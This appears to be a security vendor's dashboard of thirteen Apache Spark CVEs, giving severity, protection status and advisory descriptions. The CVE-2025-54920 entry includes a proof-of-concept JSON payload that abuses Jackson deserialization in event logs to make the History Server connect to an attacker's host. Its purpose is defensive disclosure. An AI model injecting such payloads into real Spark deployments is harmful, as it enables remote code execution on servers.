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Including CVEs outside Waratek scope✕Vendor org.apache.spark✕
Overview 13 matches · 12 in Waratek scope · 2 protected · 0 exploited · 0 CISA KEV · 0 public PoC · 0 EPSS ≥ 0.5
13matches 12in Waratek scope92.3% 2protected15.4% 0exploited0.0% 0CISA KEV0.0% 0public PoC0.0% 0EPSS ≥ 0.50.0%
Protected by Waratek 2 15.4% Rule in development 0 0.0% Mitigation candidate 0 0.0% No exploit published 10 76.9% Outside Waratek scope 0 0.0% Not applicable 1 7.7% Withdrawn CVE 0 0.0%
Critical 2 15.4% High 5 38.5% Medium 6 46.2% Low 0 0.0% None 0 0.0% Unknown 0 0.0%
blocked by ARMR today 2 15.4% partly blocked 0 0.0% not blocked 11 84.6% not established 0 0.0% unrecorded 0 0.0%
Exploited 0 0.0% Working exploit published 0 0.0% Proof of concept only 0 0.0% Forecast only 0 0.0% No public exploit 13 100.0%
split by peak 3 / year
Not applicable: 1No exploit published: 10Protected by Waratek: 2 Medium: 6High: 5Critical: 2 not blocked: 11blocked by ARMR today: 2 No public exploit: 13
20172 Protected by Waratek1 No exploit published1 High1 Medium1 blocked by ARMR today1 not blocked1 No public exploit2 20183 No exploit published2 Not applicable1 Critical1 High1 Medium1 not blocked3 No public exploit3 20191 No exploit published1 High1 not blocked1 No public exploit1 20200 20210 20222 No exploit published2 High1 Medium1 not blocked2 No public exploit2 20231 No exploit published1 Critical1 not blocked1 No public exploit1 20241 No exploit published1 Medium1 not blocked1 No public exploit1 20251 No exploit published1 Medium1 not blocked1 No public exploit1 20262 Protected by Waratek1 No exploit published1 High1 Medium1 blocked by ARMR today1 not blocked1 No public exploit2
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CVE Severity Published▾ Status Exploitation Description
CVE-2026-32773 Medium 2026-09-02 No exploit published No public exploit There is a lack of XSS escaping in the Spark History Server prior to 3.5.8 which allows a malicious Spark job to generate arbitrary unescaped frontend code which could lead to a minimal privilege escalation in browser. Users are encouraged to upgrade to Spark 3.5.8 or later. This CVE is marked as "low" since the path to exploit requires both relatively high permissions (ability to launch a Spark job) and requires tricking a user with higher permissions to log in and visit the Spark history web page. Users are encouraged to upgrade their Spark history servers to Spark 3.5.8 or later.
CVE-2025-54920 High 2026-03-16 Protected by Waratek No public exploit This issue affects Apache Spark: before 3.5.7 and 4.0.1. Users are recommended to upgrade to version 3.5.7 or 4.0.1 and above, which fixes the issue. Summary Apache Spark 3.5.4 and earlier versions contain a code execution vulnerability in the Spark History Web UI due to overly permissive Jackson deserialization of event log data. This allows an attacker with access to the Spark event logs directory to inject malicious JSON payloads that trigger deserialization of arbitrary classes, enabling command execution on the host running the Spark History Server. Details The vulnerability arises because the Spark History Server uses Jackson polymorphic deserialization with @JsonTypeInfo.Id.CLASS on SparkListenerEvent objects, allowing an attacker to specify arbitrary class names in the event JSON. This behavior permits instantiating unintended classes, such as org.apache.hive.jdbc.HiveConnection, which can perform network calls or other malicious actions during deserialization. The attacker can exploit this by injecting crafted JSON content into the Spark event log files, which the History Server then deserializes on startup or when loading event logs. For example, the attacker can force the History Server to open a JDBC connection to a remote attacker-controlled server, demonstrating remote command injection capability. Proof of Concept: 1. Run Spark with event logging enabled, writing to a writable directory (spark-logs). 2. Inject the following JSON at the beginning of an event log file: { "Event": "org.apache.hive.jdbc.HiveConnection", "uri": "jdbc:hive2://<IP>:<PORT>/", "info": { "hive.metastore.uris": "thrift://<IP>:<PORT>" } } 3. Start the Spark History Server with logs pointing to the modified directory. 4. The Spark History Server initiates a JDBC connection to the attacker’s server, confirming the injection. Impact An attacker with write access to Spark event logs can execute arbitrary code on the server running the History Server, potentially compromising the entire system.
CVE-2025-55039 Medium 2025-10-15 No exploit published No public exploit This issue affects Apache Spark versions before 3.4.4, 3.5.2 and 4.0.0. Apache Spark versions before 4.0.0, 3.5.2 and 3.4.4 use an insecure default network encryption cipher for RPC communication between nodes. When spark.network.crypto.enabled is set to true (it is set to false by default), but spark.network.crypto.cipher is not explicitly configured, Spark defaults to AES in CTR mode (AES/CTR/NoPadding), which provides encryption without authentication. This vulnerability allows a man-in-the-middle attacker to modify encrypted RPC traffic undetected by flipping bits in ciphertext, potentially compromising heartbeat messages or application data and affecting the integrity of Spark workflows. To mitigate this issue, users should either configure spark.network.crypto.cipher to AES/GCM/NoPadding to enable authenticated encryption or enable SSL encryption by setting spark.ssl.enabled to true, which provides stronger transport security.
CVE-2024-23945 Medium 2024-12-23 No exploit published No public exploit Signing cookies is an application security feature that adds a digital signature to cookie data to verify its authenticity and integrity. The signature helps prevent malicious actors from modifying the cookie value, which can lead to security vulnerabilities and exploitation. Apache Hive’s service component accidentally exposes the signed cookie to the end user when there is a mismatch in signature between the current and expected cookie. Exposing the correct cookie signature can lead to further exploitation. The vulnerable CookieSigner logic was introduced in Apache Hive by HIVE-9710 (1.2.0) and in Apache Spark by SPARK-14987 (2.0.0). The affected components are the following: * org.apache.hive:hive-service * org.apache.spark:spark-hive-thriftserver_2.11 * org.apache.spark:spark-hive-thriftserver_2.12
CVE-2023-22946 Critical 2023-04-17 No exploit published No public exploit In Apache Spark versions prior to 3.4.0, applications using spark-submit can specify a 'proxy-user' to run as, limiting privileges. The application can execute code with the privileges of the submitting user, however, by providing malicious configuration-related classes on the classpath. This affects architectures relying on proxy-user, for example those using Apache Livy to manage submitted applications. Update to Apache Spark 3.4.0 or later, and ensure that spark.submit.proxyUser.allowCustomClasspathInClusterMode is set to its default of "false", and is not overridden by submitted applications.
CVE-2022-31777 Medium 2022-11-01 No exploit published No public exploit A stored cross-site scripting (XSS) vulnerability in Apache Spark 3.2.1 and earlier, and 3.3.0, allows remote attackers to execute arbitrary JavaScript in the web browser of a user, by including a malicious payload into the logs which would be returned in logs rendered in the UI.
CVE-2021-38296 High 2022-03-10 No exploit published No public exploit Apache Spark supports end-to-end encryption of RPC connections via "spark.authenticate" and "spark.network.crypto.enabled". In versions 3.1.2 and earlier, it uses a bespoke mutual authentication protocol that allows for full encryption key recovery. After an initial interactive attack, this would allow someone to decrypt plaintext traffic offline. Note that this does not affect security mechanisms controlled by "spark.authenticate.enableSaslEncryption", "spark.io.encryption.enabled", "spark.ssl", "spark.ui.strictTransportSecurity". Update to Apache Spark 3.1.3 or later
CVE-2019-10099 High 2019-08-07 No exploit published No public exploit Prior to Spark 2.3.3, in certain situations Spark would write user data to local disk unencrypted, even if spark.io.encryption.enabled=true. This includes cached blocks that are fetched to disk (controlled by spark.maxRemoteBlockSizeFetchToMem); in SparkR, using parallelize; in Pyspark, using broadcast and parallelize; and use of python udfs.
CVE-2018-17190 Critical 2018-11-19 Not applicable No public exploit In all versions of Apache Spark, its standalone resource manager accepts code to execute on a 'master' host, that then runs that code on 'worker' hosts. The master itself does not, by design, execute user code. A specially-crafted request to the master can, however, cause the master to execute code too. Note that this does not affect standalone clusters with authentication enabled. While the master host typically has less outbound access to other resources than a worker, the execution of code on the master is nevertheless unexpected.
CVE-2018-11804 High 2018-10-24 No exploit published No public exploit Spark's Apache Maven-based build includes a convenience script, 'build/mvn', that downloads and runs a zinc server to speed up compilation. It has been included in release branches since 1.3.x, up to and including master. This server will accept connections from external hosts by default. A specially-crafted request to the zinc server could cause it to reveal information in files readable to the developer account running the build. Note that this issue does not affect end users of Spark, only developers building Spark from source code.
CVE-2018-1334 Medium 2018-07-12 No exploit published No public exploit In Apache Spark 1.0.0 to 2.1.2, 2.2.0 to 2.2.1, and 2.3.0, when using PySpark or SparkR, it's possible for a different local user to connect to the Spark application and impersonate the user running the Spark application.
CVE-2017-12612 High 2017-09-13 Protected by Waratek No public exploit In Apache Spark 1.6.0 until 2.1.1, the launcher API performs unsafe deserialization of data received by its socket. This makes applications launched programmatically using the launcher API potentially vulnerable to arbitrary code execution by an attacker with access to any user account on the local machine. It does not affect apps run by spark-submit or spark-shell. The attacker would be able to execute code as the user that ran the Spark application. Users are encouraged to update to version 2.2.0 or later.
CVE-2017-7678 Medium 2017-07-12 No exploit published No public exploit In Apache Spark before 2.2.0, it is possible for an attacker to take advantage of a user's trust in the server to trick them into visiting a link that points to a shared Spark cluster and submits data including MHTML to the Spark master, or history server. This data, which could contain a script, would then be reflected back to the user and could be evaluated and executed by MS Windows-based clients. It is not an attack on Spark itself, but on the user, who may then execute the script inadvertently when viewing elements of the Spark web UIs.